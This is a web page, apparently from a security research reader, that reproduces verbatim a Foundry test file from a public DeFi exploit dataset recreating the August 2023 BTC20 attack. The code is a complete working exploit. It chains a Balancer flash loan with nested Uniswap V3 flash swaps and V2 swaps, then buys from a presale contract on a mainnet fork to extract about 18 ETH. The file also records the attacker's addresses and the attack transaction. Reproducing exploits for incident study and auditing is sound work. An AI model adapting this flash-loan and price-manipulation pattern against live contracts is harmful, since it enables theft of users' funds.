Public reproduction file
src/test/2023-08/BTC20_exp.sol
Public reproduction file for dataset entry BTC20.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~18ETH8// Attacker : https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f69// Attack Contract : https://etherscan.io/address/0xb7fbf984a50cd7c66e6da3448d68d9f3b7f24f3310// Attack Tx : https://etherscan.io/tx/0xcdd93e37ba2991ce02d8ca07bf6563bf5cd5ae801cbbce3dd0babb22e30b2dbe12// @Analysis13// Twitter Guy : https://twitter.com/DecurityHQ/status/169292436966251347215contract ContractTest is Test {16 IERC20 BTC20 = IERC20(0xE86DF1970055e9CaEe93Dae9B7D5fD71595d0e18);17 IERC20 SDEX = IERC20(0x5DE8ab7E27f6E7A1fFf3E5B337584Aa43961BEeF);18 IWETH WETH = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));19 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);20 Uni_Pair_V3 SDEX_BTC20_Pair3 = Uni_Pair_V3(0xDb81b8cfB2718f7289ae2365DE800ac2c787E385);21 Uni_Pair_V3 BTC20_WETH_Pair3 = Uni_Pair_V3(0x7234c91bd835a6Ed108c8e986E0663B14F9DE14e);22 Uni_Router_V3 uniRouterV3 = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);23 Uni_Router_V2 uniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);24 Uni_Pair_V2 BTC20_WETH_Pair2 = Uni_Pair_V2(0xd50C5B8f04587D67298915E099E170af3Cd6909A);25 IPresaleV4 PresaleV4 = IPresaleV4(0x1F006F43f57C45Ceb3659E543352b4FAe4662dF7);26 address[] private addrPath = new address[](2);27 uint256 Amount_SDEX_BTC20_Pair3 = 76_301_042_059_171_907_852_637;28 uint256 Amount_BTC20_WETH_Pair3 = 47_676_018_750_296_374_476_872;29 uint256 totalBorrowed = 300 ether;31 function setUp() public {32 vm.createSelectFork("mainnet", 17_949_215 - 1);33 vm.label(address(BTC20), "BTC20");34 vm.label(address(WETH), "WETH");35 vm.label(address(SDEX), "SDEX");36 vm.label(address(Balancer), "Balancer");37 vm.label(address(SDEX_BTC20_Pair3), "SDEX_BTC20_Pair3");38 vm.label(address(BTC20_WETH_Pair3), "BTC20_WETH_Pair3");39 vm.label(address(uniRouter), "uniRouter");40 vm.label(address(BTC20_WETH_Pair2), "BTC20_WETH_Pair2");41 approveAll();42 }44 function testExploit() external {45 address[] memory tokens = new address[](1);46 tokens[0] = address(WETH);47 uint256[] memory amounts = new uint256[](1);48 amounts[0] = totalBorrowed;49 bytes memory userData = "";50 console.log("Before Start: %d ETH", WETH.balanceOf(address(this)));51 Balancer.flashLoan(address(this), tokens, amounts, userData);52 uint256 intRes = WETH.balanceOf(address(this)) / 1 ether;53 uint256 decRes = WETH.balanceOf(address(this)) - intRes * 1e18;54 console.log("Attack Exploit: %s.%s ETH", intRes, decRes);55 }57 function receiveFlashLoan(58 address[] memory tokens,59 uint256[] memory amounts,60 uint256[] memory feeAmounts,61 bytes memory userData62 ) external {63 exploitBTC();64 IERC20(tokens[0]).transfer(msg.sender, amounts[0] + feeAmounts[0]);65 }67 function exploitBTC() internal {68 SDEX_BTC20_Pair3.flash(address(this), 0, Amount_SDEX_BTC20_Pair3, abi.encode(Amount_SDEX_BTC20_Pair3));70 (addrPath[0], addrPath[1]) = (address(BTC20), address(WETH));71 Uni_Router_V3.ExactInputSingleParams memory eisParams = Uni_Router_V3.ExactInputSingleParams({72 tokenIn: address(BTC20),73 tokenOut: address(SDEX),74 fee: 10_000,75 recipient: address(this),76 deadline: type(uint256).max,77 amountIn: BTC20.balanceOf(address(this)),78 amountOutMinimum: 0,79 sqrtPriceLimitX96: 080 });81 uniRouterV3.exactInputSingle(eisParams);82 (eisParams.tokenIn, eisParams.tokenOut, eisParams.amountIn) =83 (address(SDEX), address(WETH), SDEX.balanceOf(address(this)));84 uniRouterV3.exactInputSingle(eisParams);85 }87 function uniswapV3FlashCallback(uint256 _amount0, uint256 _amount1, bytes calldata data) external {88 uint256 amount = abi.decode(data, (uint256));90 if (amount == Amount_SDEX_BTC20_Pair3) {91 BTC20_WETH_Pair3.flash(address(this), 0, Amount_BTC20_WETH_Pair3, abi.encode(Amount_BTC20_WETH_Pair3));92 (uint256 amountOut, uint256 amountInMax) = (amount + amount / 100 + 1, WETH.balanceOf(address(this)));93 (addrPath[0], addrPath[1]) = (address(WETH), address(BTC20));94 uniRouter.swapTokensForExactTokens(amountOut, amountInMax, addrPath, address(this), type(uint256).max);95 BTC20.transfer(address(SDEX_BTC20_Pair3), amountOut);96 } else if (amount == Amount_BTC20_WETH_Pair3) {97 uint256 amountIn = BTC20.balanceOf(address(this));98 (addrPath[0], addrPath[1]) = (address(BTC20), address(WETH));99 uniRouter.swapExactTokensForTokens(amountIn, 0, addrPath, address(this), type(uint256).max);100 uint256 buyAmount = PresaleV4.maxTokensToSell() - PresaleV4.directTotalTokensSold();101 PresaleV4.buyWithEthDynamic{value: totalBorrowed}(buyAmount);102 (uint256 amountOut, uint256 amountInMax) = (amount + amount / 100 + 1, WETH.balanceOf(address(this)));103 (addrPath[0], addrPath[1]) = (address(WETH), address(BTC20));104 uniRouter.swapTokensForExactTokens(amountOut, amountInMax, addrPath, address(this), type(uint256).max);105 BTC20.transfer(address(BTC20_WETH_Pair3), amountOut);106 }107 }109 function approveAll() internal {110 SDEX.approve(address(SDEX_BTC20_Pair3), type(uint256).max);111 SDEX.approve(address(uniRouterV3), type(uint256).max);112 BTC20.approve(address(SDEX_BTC20_Pair3), type(uint256).max);113 BTC20.approve(address(BTC20_WETH_Pair2), type(uint256).max);114 BTC20.approve(address(BTC20_WETH_Pair3), type(uint256).max);115 BTC20.approve(address(uniRouter), type(uint256).max);116 BTC20.approve(address(uniRouterV3), type(uint256).max);117 WETH.approve(address(uniRouter), type(uint256).max);118 BTC20.approve(address(PresaleV4), type(uint256).max);119 WETH.approve(address(PresaleV4), type(uint256).max);120 }122 event Received(address, uint256);124 receive() external payable {125 emit Received(msg.sender, msg.value);126 }127}Analysis
Dataset entry
Public Foundry test for “BTC20” (2023-08-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-08/Balancer_exp.solSame month in the dataset · 220 lines
- src/test/2023-08/CurveBurner_exp.solSame month in the dataset · 151 lines
- src/test/2023-08/EAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-08/EarningFram_exp.solSame month in the dataset · 95 lines
- src/test/2023-08/EHIVE_exp.solSame month in the dataset · 142 lines
- src/test/2023-08/Exactly_exp.solSame month in the dataset · 479 lines
- src/test/2023-08/GSS_exp.solSame month in the dataset · 62 lines
- src/test/2023-08/Leetswap_exp.solSame month in the dataset · 66 lines
- src/test/2023-08/NeutraFinance_exp.solSame month in the dataset · 413 lines
- src/test/2023-08/SVT_exp.solSame month in the dataset · 58 lines
- src/test/2023-08/Uwerx_exp.solSame month in the dataset · 72 lines
- src/test/2023-08/Zunami_exp.solSame month in the dataset · 200 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6
- Attack Contract
0xb7fbf984a50cd7c66e6da3448d68d9f3b7f24f33
- Attack Tx
0xcdd93e37ba2991ce02d8ca07bf6563bf5cd5ae801cbbce3dd0babb22e30b2dbe
File record
- Name
- BTC20
- Path
- src/test/2023-08/BTC20_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8b414abcfe84913d3049aebbb780beef0a20821e
- Language
- Solidity
- Size
- 128 lines
- Date
- 2023-08-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-08/BTC20_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8b414abcfe84913d3049aebbb780beef0a20821e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.